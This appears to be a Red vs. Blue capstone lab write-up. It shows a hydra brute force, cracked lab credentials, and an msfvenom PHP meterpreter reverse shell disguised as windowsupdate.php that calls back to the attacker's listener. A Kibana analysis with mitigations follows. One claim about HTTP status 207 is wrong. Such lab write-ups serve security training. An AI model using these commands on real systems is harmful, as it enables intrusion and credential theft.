Red v. Blue Project

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

Network
Address Range: 192.168.1.0/24
Netmask: 255.255.255.0
Gateway:
192.168.1.1

Machines
IPv4: 192.168.1.90
OS: Linux
Hostname: Kali

IPv4: 192.168.1.105
OS: Linux
Hostname: Capstone

IPv4:192.168.1.100
OS: Linux
Hostname: ELK

IPv4: 192.168.1.1
OS: Windows
Hostname: HyperV

Planning and Reconnaissance

We have been tasked with exploiting a Capstone Virtual Machine and proving its vulnerability.

Recon: Describing the Target

Nmap identified the following hosts on the network:

Hostname	IP Address	Role on Network
Red V Blue	192.168.1.1	Host Machine
Capstone	192.168.1.105	Victim Machine
Kali	192.168.1.90	Attacking Machine
Elk Server	192.168.1.100	Host Kibana - Log Data

Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
1. WebDav Vulnerability	Remote code execution.	Exploitation allows for remote access for payload deployment.
2. Unintended Vulnerabilities	The ability to manipulate a website to use it for malicious purposes.	An unintended vulnerability allows hackers to manipulate a webpage to gain sensitive information. This directly impacts the reputation of a website
3. Hashed Passwords	The users passwords were not salted in any form thus making them vulnerable to cracking.	Compromised passwords can be used to access sensitive information.

Scanning



To identify our attacking system IP, we ran **<ifconfig>**.

Our attacking machine IP is 192.168.1.90

To find all devices on the same network we used:

<nmap -Pn 192.168.1.0/24>

The results returned an IP of 192.168.1.105 with port 22 and 80 open.



Since we know that port 80 is open, we know that this network is connected to the domain.

We decided to navigate to:

http://192.168.1.105/

which showed us files that were not meant to be seen by the public.



Files that are uploaded with the purpose of being private, are proof that this website has **unintended vulnerabilities**. To find more vulnerabilities, we will need to make use of the instructions on the webpage.

With the message to ‘refer to company_folders/secret_folder/’:

We were prompted to enter in a username and password.





To begin the process of finding ashton's password, we had to navigate to our **rockyou.txt** wordlist in **</usr/share/wordlists>**. After this, we began our attack with the following command:

<hydra -l ashton -P rockyou.txt -s 80 -f -vV 192.168.1.105 http-get http://192.168.1.105/company_folders/secret_folder>

Vulnerability #3

Ashton’s password was easy to crack as he did not follow a secure password technique. Ensuring your password has more than 8 characters and includes symbols and numbers is key to keeping your data safe.

Exploitation

We now have the following information logon information:

ashton::leopoldo

After a successful login attempt, we now have a hashed password for Ryan's account and interesting instructions.



d7dad0a5cd7c8376eeb50d69b3ccd352	md5	linux4u

We navigated to https://crackstation.net to reveal the password for ryan's account.

With this information, we are now able to navigate to the dav://192.168.1.105/webdav/ within file manager.

Ryan's file within webdav contained a hashed file.




```
ryan:$apr1$fsU/VibG$HznoQs6XTF7VauEHtktNt.
```

Post-Exploitation



With the instructions from Ashton, we decided to exploit the network by uploading a reverse shell payload with the following command

```
<msfvenom -p
php/meterpreter/reverse_tcp
lhost=192.168.1.90
lport=4444 >
windowsupdate.php>
```

The instructions from Ashton basically let us know to move the reverse shell, which we named windowsupdate.php, into the webdav folder.

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.90
LHOST => 192.168.1.90
msf5 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.90     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

With the file downloaded we are now able prepare for our listener session. We set our LHOST to 192.168.1.90 and the LPORT to 4444

Now we've run our exploit...

```
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.90:4444
```

By going back to the webdav domain, and clicking on our reverse shell payload - we officially began the listener. Which was confirmed by metasploit due to our session entering a meterpreter session.


```
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.90:4444
[*] Sending stage (38288 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.90:4444 → 192.168.1.105:45714) at 2021-10-26
20:47:21 -0700

meterpreter >
```

```
[*] Started reverse TCP handler on 192.168.1.90:4444
[*] Sending stage (38288 bytes) to 192.168.1.105
[*] Meterpreter session 4 opened (192.168.1.90:4444 → 192.168.1.105:45862) at 2021-10-26
20:59:11 -0700

meterpreter > shell
Process 1801 created.
Channel 0 created.
cd /
find -iname flag* 2>dev/null
./flag.txt
cat ./flag.txt
b1ng0w@5h1sn@m0
```

The flag:

b1ng0w@5h1sn@m0

We easily found the flag by using the command:

<find -iname flag* 2>dev/null>

Reporting

Kibana

With Kibana, we can view the unintended use of the website and learn more about how to prevent this.

The attack began at 23:29, the HTTP response being ‘GET /company_folders/secret_folder/connect_to_corp_server’. Our main concern is that the attacking machine was able to get a response from the server.



>	Oct 26, 2021 @ 23:29:18.058	192.168.1.105	/company_folders/secret_folder/connect_to_corp_server	get	200	GET /company_folders/secret_folder/connect_to_corp_server	OK	_doc ok
>	Oct 26, 2021 @ 23:29:17.869	192.168.1.105	/company_folders/secret_folder/connect_to_corp_server	get	200	GET /company_folders/secret_folder/connect_to_corp_server	OK	_doc ok
>	Oct 26, 2021 @ 23:29:12.578	192.168.1.105	/icons/unknown.gif	get	200	GET /icons/unknown.gif	OK	_doc ok
>	Oct 26, 2021 @ 23:29:12.492	192.168.1.105	/company_folders/secret_folder/	get	200	GET /company_folders/secret_folder/	OK	_doc ok
>	Oct 26, 2021 @ 23:29:12.427	192.168.1.105	/company_folders/secret_folder	get	301	GET /company_folders/secret_folder	OK	_doc moved permanently
>	Oct 26, 2021 @ 23:29:12.389	192.168.1.105	/icons/unknown.gif	get	200	GET /icons/unknown.gif	OK	_doc ok
>	Oct 26, 2021 @ 23:29:12.303	192.168.	/company_f	get	200	GET /comp	OK	_doc ok

Port Scan

The port scan began at 15:31, with 203,414 packets sent from 127.0.0.1 over port 80. We were able to figure out this is a port scan because we're able to see the response query 'GET /server-status'.

A mitigation we can use would be to make sure we don't allow network scans via a Firewall rule, so when running a network scan all ports will show as filtered. We can allow *internal scans* to ensure that the Firewall rules are working, we will set these at a routine basis.



Oct 26, 2021 @ 00:00:00.000 - Oct 30, 2021 @ 23:59:59.999 — Auto

Time	client.ip	client.port	server.ip	server.port	event.dataset	query	method	event.duration	status
> Oct 30, 2021 @ 15:31:13.115	127.0.0.1	44414	127.0.0.1	80	http	GET /server-status	get	0.4	OK



15,452 requests were made on 10/26/21 at 23:25 from 192.168.1.90 - these requests were for files within the secret folder, these files contained instructions to add files to the website. We know that access to this folder is meant for only Ashton, and the unintended use is for the public to see. We will be creating a **high-priority alert** if there is activity of anyone attempting access the secret folder. A few ways we can harden our system is by enabling secure coding on the website and enabling a web proxy that allows only certain content.



Brute Force

We can specifically see traffic from Hydra, which we used to find Ashton's password. From the data, we were able to find the amount of packets made by the hacker made during the brute force attack, 15,446, and how many of those tickets were **failed login attempts, 15,442**. With this information we can assume that If there are **more than five attempts to login to this website, the user should be blocked from attempting any further**. We will also be sure to create a policy that will **require input validation**, like captcha.





Vulnerability #1

Webdav

24 requests were made to this directory, with the following files requested: **/webdav/passwd.dav & /webdav/windowsupdate.php**. For any user attempting to access the files within webdav there should be an alert. A few ways to harden the vulnerabilities:

- using secure coding practices
- Limiting user input
- Doing frequent patches on the system





The traffic specifically coming from the meterpreter session had an **http response status code of 207**. HTTP Response Status Code 207 stands for **'propfind' which basically means that the page is continuously retrieving information from the web resource.** You can tell when the meterpreter traffic began since we identified the port used to listen to our machines. If there are more than two HTTP response status codes of 207, there should be an alert sent to the security team. If there is traffic over port 4444, we should also send out an alert.

- A few ways we can harden these vulnerabilities:
  1. Limiting user input
  2. Requiring input validation
  3. Setting up firewalls to block traffic over port 4444